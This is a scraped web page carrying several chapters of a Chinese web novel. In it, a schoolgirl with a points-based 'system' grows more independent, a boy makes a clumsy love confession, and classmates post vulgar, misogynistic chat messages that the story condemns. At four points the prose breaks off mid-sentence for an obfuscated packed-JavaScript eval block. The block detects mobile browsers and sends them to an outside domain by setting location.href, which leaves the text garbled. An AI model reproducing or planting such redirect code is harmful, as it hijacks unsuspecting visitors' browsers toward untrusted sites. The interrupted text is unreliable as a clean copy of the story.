乐观点想想，【恶意预测眼镜】也不是特别鸡肋的东西，能看到别人隐藏的恶意。 毕竟，社会新闻经常播报一些恐怖事件，像什么歹徒冲进幼儿园行凶、男子在街上持刀杀人，都可怕得很。 崔皓月可不敢肯定自己身边的人全是善良本分的，万一有个坏的呢？ 想到这里，她感觉这件道具没有那么鸡肋了。 【武道家】珠玉在前，【恶意预测眼镜】越看越耐看在后，5000元零花钱仅仅是让崔皓月多瞧了一眼。 哦，系统又发钱，钱还挺多。 接下来，该研究特殊事件和积分体系了。 系统对特殊事件的解释是“看似与你毫无关联但是确实有那么点关系的事件”，可无视，可参与，奖励包括金钱、积分、技能、道具等。 积分是系统承认的货币，用途广泛，包括但不限于提升力量、敏捷、体质、智力，购买背包格子，增加技能强度，延长道具使用期，兑换金钱，商店消费。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407112|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 1积分兑换100元，系统赠送的100积分相当于一万元！ 但金钱无法购买积分。 此外，从今天起，她完成生活事件、人生事件也能获取积分。 崔皓月打开自己的属性信息面板，看到【力量】、【敏捷】、【体质】、【智力】后都出现小小的绿色+号，1属性值售价100积分。 原来的【蚊子不想咬你】多了【LV1】后缀，升级到【LV2】也要消耗100积分。 不同的技能升级条件不同。 【武道家LV1】要付出1000积分才能升级。 背包增加1格的价钱是100积分。 而【恶意预测眼镜】的一次使用权需要100积分。 单手支着下巴，崔皓月看桌子上的英语试卷，思维忽然发散到系统的动机上。 它开放了积分体系，是为了让她努力变得更优秀吗？ 她想到更多。 系统为何要绑定自己？系统是人造物还是天然的？系统发的钱是怎么来？系统送的衣服、书籍等物品在市场上出售吗？ 她好像没有思考过系统是何物、有何目的，也没想好怎么使用它、对待它，只是被动地在它给出的各个选项中选择，被动地接受它给予的各种奖励。 她不曾探究系统的运行机制，不曾琢磨事件的触发条件，也不知道系统为何给不同的事件设置不同的选项、奖励。 她对系统了解太少。 忽然间，崔皓月发现，自己的被动不仅体现在系统上，在生活中她也是充满被动的。 吝啬奶奶、不爱她的爸妈、好心的班主任、开朗善良的挚友、幻想重生的同桌、被系统指引着改变的她…… 她知道她们是这样的人，没有思考她们为什么是这样的人。 她盲目地接受奶奶、爸妈的安排，过着拮据的生活，使用不喜欢的枕头，盖着不温暖的被褥，在奶奶问她冷不冷的时候嘴硬地说不冷…… 为什么她不肯跟奶奶说实话？崔皓月没想过原因。 她想，为什么呢？ 小时候她好几次跟奶奶说她冷，奶奶怎么回应？ 哦，奶奶说，小孩子火气旺，不怕冷。 她怕冷，是她有问题，她被训斥了，所以她再也不敢承认自己怕冷。 反正冷着冷着也不会冻死。 人应该经常思考为什么、怎么办，应该有目标、有主见，而不是盲目听从安排，温顺乖巧地达成别人对自己的期许，变成别人希望自己变成的模样。 对，就是这样，人要学会独立思考。 崔皓月审视自己，严肃地思考未来的人生。 她要过有意义的人生，怎样的人生才有她想要的意义？ 她要上哪个大学，考哪个专业？ 是选赚钱的专业，还是选喜欢的专业？哪个专业比较赚钱？哪个专业她喜欢？ 崔皓月通通不知道，她需要成功的年长者给予建议，需要优秀的同龄人作为参考。 回首过去，她活得浑浑噩噩，连自己喜欢什么都不明白。 这样的人生，是可怜更多还是失败更多？ 对系统的研究可以延后，思考才是自己需要做的。 崔皓月打开手机，刚好陆晨曦发来消息，问她什么时候到篮球场，她回：“我可能不会过去，我需要时间思考我的人生。” “？”陆晨曦不解。 “活了十七年，我不知道我喜欢什么，我得认真思考。”崔皓月打字，“你一定知道你喜欢什么吧？” 手机那头的陆晨曦过了半分钟才回：“我其实也不知道我最喜欢的是什么，但是我有很多喜欢的事物，像篮球、游戏、冲浪，我都喜欢！我喜欢好吃的东西！喜欢有趣的电影！我喜欢的人倒是不多，你是其中之一。你同桌大概也算一个，毕竟相处久了，有感情。” 26.普信男真让人下头！ 陆晨曦的第二条回复隔了十来秒出现。 “想知道自己喜欢什么，要多经历，多尝试。有了对比，你才能明白你的喜欢是深厚的，还是浅薄的，是短暂的，还是长久的。不过，我觉得人生不需要太多思考，想做什么便去做，自己高兴就够了。” 这便是陆晨曦。 崔皓月看着她的回复，分析她。 她在钱和爱滋养中长大，妈妈一直支持她、鼓励她，从来不让她委屈。她是特别开朗自信的人，能随心所欲地接触所有感兴趣的新奇事物，大胆尝试。 失败？ 大不了重来！ 犯错？ 改正就行了！ 没有人能勉强陆晨曦做她不喜欢的事情，没有人能要求陆晨曦忍耐她不喜欢的一切。 她拥有不吃苦的自由。 她是崔皓月最羡慕的人。 “你要考哪个大学？”崔皓月问，“读哪个专业？” “不知道，没想好，你呢？” “也不知道。” “哈哈，等到高考分数出来再说吧。”陆晨曦并不忧心未来，“喜欢打篮球吗？喜欢就来跟我们玩。” “只是喜欢和你们玩。”崔皓月说，“跟你们玩什么我都开心，我喜欢你和北回。” “来试试羽毛球？” 崔皓月想拒绝，聊天输入框里的字都打好了。 可她想到陆晨曦说的多经历、多尝试，便把字删除了，回：“行，这就去。” 陆晨曦发来一串哈哈哈，很是得意：“我就说嘛，思考啥人生，活在当下更重要！” 操场上热闹得很，全是人，男生居多，女生比较少。人们默认女生不爱运动，便是想运动一下的女生，看到操场上一大片男生，也会心生退意。 不过，最受欢迎的陆晨曦在操场上运动，女生们跟着她占了一块地方，把试图争夺场地的臭男生赶到别处。 羽毛球不太挑场地，陆晨曦分了崔皓月一个球拍，教她打羽毛球。玩腻后，她们玩起了多人参与的跳绳，嘻嘻哈哈，快乐极了。 晏北回丢下篮球参与进来，一开口就是兴师问罪的语气：“好哇你俩！孤立我是吧？自个儿偷偷摸摸玩爽了，把我忘了！” “看你打篮球打得那么入迷，就不忍心打扰你。”陆晨曦笑着说道。 无论在什么地方，天生善于交际的陆晨曦都是人们注目的焦点。 女生觉得她帅，都爱跟她一起玩。 男生们见到她笑容和煦，跟女生们相处得特别好，觉得她脾气温和。又因她出身富贵，长相也好看，选她当校花。 偏偏她成绩名列前茅，学校办晚会时，她是主持人，也在晚会上独奏钢琴，如此才艺双绝，很多男生暗暗地将她视作心目的女神。 要是得到女神青睐，不仅脸上有光，还能少奋斗二十年，多美的事情啊！ 有男生下单了一束玫瑰花，准备向陆晨曦表白。 男生宿舍楼、男生群里，都在聊这件事，猜测陆晨曦会对浪漫的表白做出何种反应。 张浩文也看到了议论，冷笑出声：“陆晨曦算个鬼女神！丑得很，心思也歹毒，她要是答应做别人的女朋友，肯定会玩弄感情，指不定还要骗舔狗的钱呢！” “人家哪里丑了？你自己长得丑还有脸评价人家了？陆晨曦多好看，还有钱，我能做她男朋友，不得爽上天了！”立刻有男生反驳张浩文，揭张浩文短，“丑鬼多照照镜子，自己追不到女神，搁这酸呢，真好笑！” “舔狗不得好死！”张浩文气愤地骂回去，“你给陆晨曦当狗，人家知道吗？感激你吗？你连一句话都不敢跟陆晨曦说，陆晨曦看上一条真正的狗都不会看上你！” “嘻嘻，想看陆晨曦和狗的18X本子！” “想看+1，谁画个？” “讲真的，陆晨曦要是做我女朋友，给她当狗我也情愿！她妈开宝马！一百五十多万的宝马！我得努力多久才能赚到那么多钱啊！” “小狗饿饿，富婆饭饭！” “滚！群里没个女的！你叫谁富婆呢！” 群里面全是追捧陆晨曦的舔狗，张浩文气得当场退群，跟身边看手机的黄鑫说：“陆晨曦是贱人！俵子！你不会也舔她吧？” 黄鑫个子矮小，没在群里吭声，说：“我不当沸羊羊！” 他也讨厌陆晨曦。 之前陆晨曦当众说他讨厌，害得他被崔皓月骂哭，班上的同学不约而同地孤立他，就连男生都不爱跟他说话，他便跟境遇差不多的张浩文又走到一起。 可是张浩文被孤立的时候他也没理会张浩文，二人之间留下了嫌隙，到底不能像开学那会儿一样要好了。 “女人都贱！都恶毒！”黄鑫骂道，“陆晨曦她妈开宝马，肯定是给人当小三搞来的！她妈有钱，谁知道她妈给男人睡了多少次！陆晨曦漂亮，说不定也给有钱人睡，装得那么傲，亏她有脸竞选校花当女神！” 这猜测太恶毒了，张浩文皱起眉头。 忽然，他看见操场上扬言表白陆晨曦的男生走向后门，拿了一小束玫瑰花回来，顿时精神一震：“李金元真买了花，准备找陆晨曦表白了！” 黄鑫近视眼，眯起眼看，一边说：“他买花花了多少钱？玫瑰花老贵了，花店里的一枝八块，一束花得大几十吧！” “外卖平台上定的，我看了，一束花十块，有优惠券更便宜。”张浩文说。 “十块？也太便宜了！”黄鑫说，“花店都是宰人的！不过，谈恋爱真花钱啊，花送了，人家陆晨曦可不一定同意做女朋友。” 看着李金元手捧鲜花，在一群男生的簇拥下，深情款款地走向陆晨曦，陆晨曦和她身边的女生都停下运动，望向李金元，黄鑫心里又羡又恨，酸得冒泡泡。 都说女生幻想男神捧着花向自己表白的浪漫画面，男生其实也幻想过自己捧着鲜花，打扮得英俊潇洒，在一群兄弟的陪伴下，向高贵美丽的女神表白爱意的场景。 陆晨曦有钱有颜，黄鑫也曾将她视作高不可攀的女神。 “该死的！”张浩文骂了一句。 他摸着自己因为长青春痘而凹凸不平的丑脸蛋，再瞧瞧长得人模狗样的李金元，气得跺脚：“臭舔狗！沸羊羊都没他舔！他真够胆，敢找陆晨曦表白！” 想起陆晨曦妈妈开的宝马价值一百五十万，再想到男生群里的“小狗饿饿，富婆饭饭”，张浩文百般不是滋味：“陆晨曦那么有钱，傍上她，可就飞黄腾达了！” 怎么他爹妈没把他生得帅气一点？ 他要求也不高，长得像吴彦祖就满足了。 “俵子的钱也是钱啊！”身旁的黄鑫深深地叹气，“要是我长得高一点，打扮一下，我也是个女人喜欢的大帅哥！李金元算个屁！” 张浩文闻言，侧头看他。 黄鑫长得不咋样，塌鼻梁，小眼睛，皮肤黄，还是龅牙，整个人尖嘴猴腮的，跟帅这个字毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414204|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系。 莫名地，张浩文想起一个梗，不由得说：“黄鑫，你怎么那么普信？真让人下头！” 黄鑫：“……” 黄鑫暴怒：“你才是普信男！你才是下头男！” 在宿舍楼上看热闹的两个男生闹翻了，操场里的表白才刚开始。 穿着名牌运动服的李金元身材高大，五官端正，爱打篮球，朋友不少，学习虽然一般，但在女生里是男神般的人物。 他捧着有点蔫的玫瑰花，红着脸来到陆晨曦面前，目光躲闪，不敢和她对视。 骄阳般的陆晨曦，又美又飒，多才多艺，母亲是市里最有钱的地产老板，越了解她，便越令人自惭形秽。 以他的家境，以他的成绩，是配不上她的。 但他长得帅气，女生们都爱偷偷看他，没准他努力一下就能当陆晨曦的男朋友呢？ 离开高中后，可就很难遇到陆晨曦这种优秀的女生了。 陆晨曦瞧了一眼包装简陋的玫瑰花。 品相这样差的花她还是第一次见，李金元不会打算把花送给她吧？ 作为即将被表白的当事人，她一点也不觉得浪漫。 “找我有啥事？”她问。 “我……”李金元结结巴巴，像是第一次跟陆晨曦说话，“我、我觉得……这束玫瑰花很配你！你像花一样美！不，不对！你比玫瑰花还好看！” 这可不算是表白。 他身边的男生顿时笑起来，女生们也笑了。 有人说：“李金元要向你表白呢！陆晨曦，你收了花，答应他吧！” 崔皓月和晏北回站在陆晨曦两侧，打量着害羞的李金元。 他很帅吗？ 崔皓月依然不会分辨一个人是美是丑。 她觉得李金元很黑，身上一股汗味，这么不爱干净，哪里配跟陆晨曦在一起？ 况且，陆晨曦要高考，谈恋爱影响学习怎么办？ 想到这，她看向陆晨曦。 陆晨曦的脸没红，也看不出是否羞涩，一副漫不经心的样子，听到起哄声，只是眉毛动了动，发出表示疑惑的声音：“哦？” 就特别从容，仿佛面对的不是表白，而是问路的路人。 崔皓月喜欢陆晨曦这应对方式。 她感觉陆晨曦不至于晕了头，会答应臭男生的表白，心情稍微放松。 李金元脸色更红了，他递出玫瑰花，终于敢直视陆晨曦，她的从容让他有些恼怒，心里更加忐忑，有一种不好的预感。 怎么陆晨曦这么冷静？不是说女生被表白，都会脸红害羞，都会慌张吗？ 她不喜欢他吗？ 她跟他打过篮球，有时会看他，他在q上加了她好友，她跟他聊过天，夸他篮球打得好。 女生们都爱看他打篮球，陆晨曦肯定也爱看。 对，她对他有好感！ 只要他勇敢一点，她就是他的女朋友！ 像是获得鼓励，李金元看着陆晨曦，她的皮肤不是很白，但他不在乎，他说：“陆晨曦，我……我……我喜欢你！” 说出来了！他表白了！ 李金元的心脏砰砰跳着，很激动。 他觉得陆晨曦会答应表白，把话说下去：“你能做我的女朋友吗？我会每天给你带早饭！天天打篮球给你看！” “哈！”他听到女生的笑声，心骤然提起，才分辨出笑声不是陆晨曦的。 谁！是谁嘲笑他！ 27.想要钱，要高智商 李金元凶戾的目光扫过女生们，发现笑的是陆晨曦身边那个，她好像叫晏北回，以前也是个走读的。 她长得有点黑，脸圆圆的，笑起来左边脸颊会露出小酒窝，算是可爱型女生。 李金元不喜欢她。 这种女生太普通了，还功利，同学让她买早餐，她竟然收跑腿费，是绝对不适合当女朋友的。 他狠狠盯她：“你笑什么？” 晏北回一下子捂住嘴，不敢吭声。 毕竟李金元长得高，不笑的时候有点吓人。 感觉晏北回被李金元恐吓了，崔皓月觉得不爽，说：“我不爱看你打篮球！晨曦也不爱看！你打篮球，你玩得开心，有人看，你更开心，看你打篮球却不一定开心。你也不是明星，为什么要把看你打篮球这件事说得像是给晨曦的恩赐呢？” 是啊，谁稀罕看他一个臭男生打篮球？ 女生们都被逗笑了。 “我更爱看晨曦打篮球！” “晨曦投篮，一投一个准！” “打篮球肯定是晨曦更厉害啦！她什么都会！全能！” 李金元的脸气得发白，他非常委屈地看着陆晨曦：“晨曦，你也不管管你的朋友！” 仿佛他表白了，陆晨曦就是他的女朋友。 其实陆晨曦压根没有答应他的表白。 “我朋友怎么了？”陆晨曦眨眼，环视朋友们，“她们夸我厉害，我爱她们！你要做我男朋友，这么小气怎么行？我朋友跟你开个玩笑，你还记恨上了？” “她一定看我不顺眼！刚才她说的话，多难听啊！” 李金元指着崔皓月，当面跟陆晨曦告状。 “你别跟她玩，她一定不是好人！我向你表白，那是我和你两个人的事，哪里轮得到她一个外人说话！她故意歪曲我的意思！挑拨离间我和你的爱情，要我俩分手！” “有吗？”陆晨曦笑了，手一伸搭上了崔皓月的肩膀，向李金元展示姐俩的深厚友谊，“看见了没？皓月是我最好的朋友！” 她也没落下晏北回，另一只手将晏北回拉近，勾肩搭背，还招呼别的女生凑上来，组成声势浩大的娘子军。 看着面色僵硬的李金元，陆晨曦问他：“先来后到的道理懂不？我的朋友们好不好，我自己清楚。你只是说了句喜欢我，我都没答应呢，你就敢命令我疏远我的好朋友们。李金元，你知道你的脸这么大吗？” 男生们也笑了。 没有谁是人人都爱的，李金元在篮球场上经常故意耍帅讨女生喜欢，恨他的人多了去。 “男朋友还没当上便对陆晨曦指手画脚，啧啧，真当上男朋友了，陆晨曦不得被他管得死死的。” “得了吧，陆晨曦没那么蠢，自己给自己找个活爹折磨自己！” “听说他的玫瑰花九块九一束，用了券只要三块四毛！” “哇！好寒酸的玫瑰花！别说陆晨曦，就算是我，我也不稀罕三块四毛钱！我给我妹买生日礼物都挑的几十块钱的！” “他身上穿的不是名牌货吗？追女人咋这么吝啬啊？难道他的名牌是高仿假货？” 听到男生们的议论，李金元猛地回头，恶狠狠地扫视他们：“谁议论我？” 男生们纷纷后退，都说不敢，却看着他笑。 陆晨曦懒得看他们的热闹，问朋友们：“打篮球吗？” “当然要打！让男生们瞧瞧我们的本事！”晏北回握拳，“会打篮球很了不起？我们都会打篮球，还打得不错呢！” 忽然发生的告白就这样落幕了。 被陆晨曦推着去篮球场，崔皓月看了恼怒不已的李金元一眼。 他跟一个高壮的男生扭打在一起，边打边骂，污言秽语听得恶心。 男生们想劝架，又怕挨打，跑到后门去找保安。 这个李金元，脾气很差啊。 崔皓月想起男子表白被拒后报复社会的新闻，从兜里掏出【恶意预测眼镜】戴上，观察李金元的恶意。 眼镜里，李金元是黑红色的，恶意很深，但没到触发预测的警戒线。 她摘下眼镜，提醒陆晨曦小心李金元报复。 “他没那胆量。”陆晨曦轻蔑地说，“他爸搞装修，本事一般，要是得罪我妈，分分钟穷到睡大街！” 她说起李金元的事：“学校外不是有小混混吗？李金元在学校炫富，被小混混勒索，他偷他爸的钱给小混混，要不是他爸知道了，报警了，他现在还被勒索呢。” “校长上学期说学校里有人被勒索，原来是李金元？他不会自己报警？”晏北回惊奇。 “谁知道呢。”陆晨曦撇嘴，“反正他胆子小，搞不出什么事。” 崔皓月不这么认为：“新闻上杀人的坏人，邻居都说坏人平时很老实，万一李金元是个老实坏人呢？以后还是离他远点比较好，安全！” “说的是，不过我学过跆拳道，他打不赢我的。”陆晨曦摆出跆拳道姿势，引得女生们兴奋地夸她帅气，问她跆拳道怎么学。 李金元确实没有惹事，保安还没来，他就和那个扭打的男生分开了。 这个下午平平淡淡地过去，食堂开门时，女生们放弃运动，一窝蜂地挤进去打饭。 自从食堂换了老板，饭菜特别好吃，还干净，没有人在菜叶子里吃出过虫子。 外面的饭虽然香，但是吃食堂更划算。 讨论到食堂的饭菜，就算是高三学生，也不太想毕业。 怎么她们念高三了食堂才换老板？ 学妹们享福了，她们毕业后还得吃难吃的大学食堂，日子是一眼可见的苦。 担心自己大学吃不到好饭菜，陆晨曦特地打电话给妈妈。 “妈，你能去我读的大学开个食堂吗？我也不要大学食堂多好吃，跟你买这个高中食堂差不多就行，最好卖点螺蛳粉、麻辣烫、卤味什么的，你也不希望你的宝贝女儿吃到不卫生的垃圾食品吧？” “想好读哪个大学了？” “还没想好。” “没想好我上哪买食堂去？实话告诉你吧，妈穷，妈真的买不下所有大学的食堂！” “不要嘛，妈妈，我的好妈妈！你多赚点钱，多考虑考虑我，你肯定能赚到买下所有食堂的钱！” 陆晨曦的电话被妈妈挂断了。 她噘嘴，老大不高兴：“哼！我妈不爱我！竟然挂我电话！我生气，我好生气！” 在崔皓月看来，她这气生得跟炫耀一样。 晏北回也看不下去，故意逗她：“我的大小姐，不要的妈可以捐给需要的人，比如我！我很乐意跟你换妈！” “你？”陆晨曦挑剔地打量好朋友，“你要是能从我妈的肚子里出生，我可以允许你叫我妈一声妈！” 崔皓月憋不住笑。 晏北回马上说：“皓月也想要晨曦的妈妈吧？” 想起系统曾给出认陆妈妈为养母的选项，崔皓月笑得更开心了，说：“那是晨曦的妈妈，你跟晨曦结拜为姐妹，说不定晨曦愿意带你去见她妈妈。” “好主意！”晏北回毫不羞涩，抱住陆晨曦撒娇，“咱们结拜为好姐妹吧！我愿称你一声姐姐，只要你说服你妈妈认我这个女儿！” “滚！”陆晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了教室上自习，她做了一张数学卷子，没感觉到简单，分数也没有提升多少。她有点后悔给【智力】加点了，奈何积分已用掉。 第二天考试，考两天，数学考得早，第三天出成绩。 崔皓月的数学全班第四，年级排名前二十。 教语文的班主任陈若龙都被惊动，询问教数学的：“这次试卷难不难？” 数学老师参与出题，对题目十分了解，说道：“试卷不难，我给学生划的考点全在上面，不过题目有点迷惑性，容易判断失误。皓月这试卷我看了，做题很细心，没有漏掉一分。” “她那样的老实孩子，不敢作弊的。”英语老师插话说，“她进步很大啊，脑子应该是不差的，怎么高一高二成绩不好？” “家里不给生活费，伙食费也给得抠抠搜搜的，孩子过得挺苦。”陈若龙说，“依着她这进步的劲头，不出什么意外的话，能考上一流大学。” “嘿嘿！这次她数学年级前二十，下次没准进前三！”数学老师得意地笑，“这颗沧海遗珠，可是我打捞上来的！” 陈若龙笑而不语。 数学老师只是教学，她这班主任可是参与了崔皓月的人生，看着崔皓月一点点改变，那成就感无需多言。 手机在这时发出颤动，是个陌生的电话，她去阳台接听，脸色忽然沉了下来。 电话那头的，是崔皓月的混蛋家长，要求学校为崔皓月办理退学。 28.绝交！ 此时，陆晨曦也在教室里看手机。 有人加她好友，备注是“你应该知道的下头发言”，她看了那人的资料，嗬，注册时间没两天的小号。出于好奇，她添加对方，目光快速扫过同学们，玩手机的人看着都很正常。 下一刻，小号发来聊天截图。 陆晨曦点开截图，看见诋毁自己的言论。 发言者的昵称和头像她有印象，大约是班上的男同学。截图往下拉，是别人攻击发言者的话，夸她好看有钱，露骨地表达了对她的觊觎。 再往下拉，想看她和狗的18X本子？ 她皱起眉头，感到恶心。 截图没有打码，陆晨曦很快在班级群里找到与发言对应的人。 诋毁她的是张浩文。 觊觎她的是体育委员周建康，一个以公谋私的人，会纠结小团伙针对不喜欢的同学。 求本子的俩贱人，一个是喜欢看漫画的眼镜仔，有点社恐，别人跟他说句话他都紧张得结巴；一个是长得猥琐，为人也猥琐的瘦猴男生，经常用下流的眼神窥视女生。 加她发截图的小号大概率跟以上四人有仇，要利用她报复四个人。 陆晨曦不喜欢被人利用，可是四个人的发言确实令她作呕，如果不教训他们一顿，她自己都瞧不起自己。 问题是，怎么教训四个人？ 想到挚友似乎比自己擅长处理这种事，陆晨曦迟疑了下，把截图发到三人小群：“你们俩认为我应该怎么做？” 趁着课间休息，崔皓月拿着手机搜索测试智商的方法，忽然系统发出提示。 【叮！发现特殊事件！】 【陆晨曦在群里发了一张内容低俗的聊天截图，你决定——】 什么内容能让系统用上低俗这个形容词？ 崔皓月怀着隐蔽的猎奇心点开截图，个中内容并不是她好奇的低俗，而是让人不适的低俗。 虽然被议论的人不是她，可聊天内容冒犯到她了。 她不知道如何形容这种冒犯，反正她看了很不舒服，如鲠在喉。 【选项一：劝陆晨曦大度】 【选项二：与陆晨曦一起解决这件事，获得50积分】 【选项三：人应该为自己的发言负起责任，动手教训说出恶心话的人，获得100积分】 怎么还有劝人忍气吞声的选项？ 崔皓月率先排除选项一，在二和三之间犹豫不决。 不过，特殊事件没有选择倒计时，她可以跟当事人商量：“你想和平解决还是动手？我都会帮助你。@陆晨曦” 同桌晏北回也在看群，为她的发言吃惊，胳膊肘轻轻地撞她：“你咋想的？动手？你是学生，不是打架斗殴的小混混！” “说了冒犯人的话，不应该惩罚吗？”崔皓月用理所当然的语气说，“暴力并不可取，但暴力更容易让人认识到自己的错误。” 晏北回默然。 怎么办？乖学生同桌变成爱好暴力的大姐头了！ 她劝说崔皓月：“打人肯定会被老师叫家长，咱们还是用和平一点的方法吧。”瞥见手机上陆晨曦的回复，急忙拿给同桌看，“晨曦也想和平解决！” 然而陆晨曦发来下一条回复：“想动手，拳头痒了，得动手才能止痒。” 晏北回：“……” 晏北回快速打字：“姐！冲动是魔鬼！求你冷静！别冲动！” 陆晨曦说：“我很生气！如果被议论的人是你，你难道不会生气？” 当然会生气，然后呢？ 男生多的群都爱说点女生讨厌的难听话，看得多了就习惯了，犯得着计较？ 晏北回如此想，脑海里忽然冒出阴暗的念头。 就她陆晨曦最高贵，容不得别人说她不好！崔皓月提议动手是为了讨好陆晨曦吧？这么舔，难怪得到陆晨曦的青睐！ 一边想，晏北回一边飞快地看了崔皓月一眼，在触及对方的目光前，迅速转移视线。 截图里被议论的人倘若是她，崔皓月也会为她不平吗？ 晏北回感觉会，却无法确定。 她打字输入：“你俩打算怎么动手？” 感觉话说得有问题，她删了一个字发送：“你打算怎么动手？” 崔皓月发言：“必须让大家知道我们动手的原因，不能让大家误会我们。” 晏北回又看了她一眼，想说自己不会动手。 为了彼此的友谊，晏北回选择做哑巴。 群里，陆晨曦下了决定：“那就公开这张截图，在班级群公开，在所有同学都能看到的投影屏上公开。” 崔皓月：“我陪你。” 好朋友应该一起面对困难，晏北回认为自己也得做点啥，她提议：“截图上的昵称要换成真名，不然大家不知道说话的是谁。” “好！”陆晨曦发出写上真名的截图，给发言正常的人打码。 她顺便作总结：“张浩文污蔑我，值得我扇他一耳光！周建康看起来在维护我，实则意淫我，骂他一句得了。赵宏和秦飞哲最恶心，我恨我不是黑/道大小姐，不然我忍着恶心也要看他俩跟狗的片子！” 最过分的不是张浩文？崔皓月点开截图，把赵宏和秦飞哲的发言看了一遍。 18x本子是她想象的意思吗？ 万能的网络即刻为她解惑，她顿时明白陆晨曦为何这么愤怒。 恶心！太恶心了！ 诋毁陆晨曦的张浩文有人骂，赵宏和秦飞哲那样恶心的发言竟然没有一个人觉得不妥！ 不承想，晏北回在群里说：“他俩只是开玩笑吧？” 这叫开玩笑？ 崔皓月看向晏北回，目光里透露出难以置信。 读懂她的眼神，晏北回抿唇，意识到自己说错话了，连忙解释：“男生群是这样的，会对女生讲一点带颜色的话，其实、其实他们没什么恶意……” 越说她的声音越小，最后低下头去，心情忐忑，不知如何面对同桌。 赵宏真的没有恶意吗？ 如果没有，为何陆晨曦反应激烈？为何崔皓月对她露出错愕神色？ 晏北回后悔了。 她不应该解释的，更不应该在群里发那句话。 她感觉坐在后排的陆晨曦在看她，不敢回头，也不敢看手机里的聊天群。 晏北回没猜错，陆晨曦在看她。 发现她装死，陆晨曦气冲冲地走过来，发出质问：“你怎么能说出那样的话？你是我的朋友，还是别人的朋友？” 被迫面对陆晨曦，晏北回嗫嚅： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14434313|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我……我不是故意的！” 她从未见过陆晨曦这么生气，心里委屈，也气恼。 不就是说错一句话，用得着朝她发这么大的火？她们之间的友谊难道浅薄到经不起一句错话的考验？ 越想越不是滋味，晏北回昂起头，倔强地看着陆晨曦。 两个好朋友在对峙，崔皓月不能置身事外，赶紧拉住陆晨曦：“不要迁怒北回，她是无心之过！” “无心也不能说那样的话！”陆晨曦眼底隐约能见到水光，她盯着泪水盈眶的晏北回，“我需要你的解释！” 她的态度太强硬，咄咄逼人，晏北回不喜欢，赌气的话脱口而出：“要我解释什么？你对我有意见，不想跟我做朋友就直说，我俩绝交！” “绝交”二字讲出来，晏北回瞬间后悔。 可是话都说了，她抹不下面子把话收回来，希望陆晨曦退一步，又担心陆晨曦真的答应绝交，颇感煎熬。 听得“绝交”一词，陆晨曦一下子睁大眼睛，更生气了，恼火地说：“你要绝交，那就绝交好了！这是你提的，我成全你！” 同桌和挚友的矛盾突然变成绝交，崔皓月一个头两个大。 站哪边都会伤到另一方，她索性两不相帮：“你们都冷静点好不好？绝交我当你们没说过，你们也把话忘了，过两天再思考今天的事情怎么解决！” 陆晨曦冷哼，直接撂下话：“我不仅要解释，我还要真心实意的道歉！” 晏北回同样硬气：“说着把我当朋友，对我比对别人刻薄多了，真是窝里横！” 两人对视一眼，不欢而散。 仗着跟崔皓月同桌，晏北回要求她表态：“你不觉得陆晨曦离谱吗？我又没有骂她，她倒好，黑着脸找我，凶得就像找我报仇似的！我就说了一句话，她非得那么小气，一点委屈都受不了？” “你知不知道18X本子是什么？”崔皓月心里偏向陆晨曦，严肃地看着同桌，“你不觉得赵宏说的话特别侮辱人吗？” “我……”晏北回避开她的注视，垂下头绞手指，“我知道那是什么，真人和狗的本子……我承认，这的确很侮辱人，陆晨曦生他们气是应该的。可是……” 她抬起头，委屈地说：“侮辱陆晨曦的不是我，她的怒火凭什么对我发泄？我们一起玩的时间也不短，我是什么样的人她还不了解？” 崔皓月能感觉到，晏北回需要安慰。 于是，崔皓月的脸色柔和了点：“我知道你的品格，晨曦也知道，正是因为知道，所以她才会恼火。她被侮辱，正在气头上，你却说侮辱是别人开的玩笑……北回，你伤到她的心了。” 晏北回抽泣了一声，没说话。 “而且，”崔皓月迟疑着，陈述自己的想法，“你让我费解。你跟赵宏、秦飞哲也不熟，为什么你要替他们说话？” 说那句话的时候晏北回是怎么想的呢？ 她分析晏北回的动机，得到的结论却是同桌跟聊天截图里的男生没什么不同，都觉得赵宏二人的话不算侮辱。 若不然，晏北回为何为他们辩解？ 崔皓月迷惑了，想看真人和狗的18X本子难道是很正常的事情吗？ 晏北回似乎在思索，崔皓月问出新问题，要求道：“我想知道答案。” 29.恶意 晏北回看着崔皓月，擦了擦眼泪，思绪凌乱。 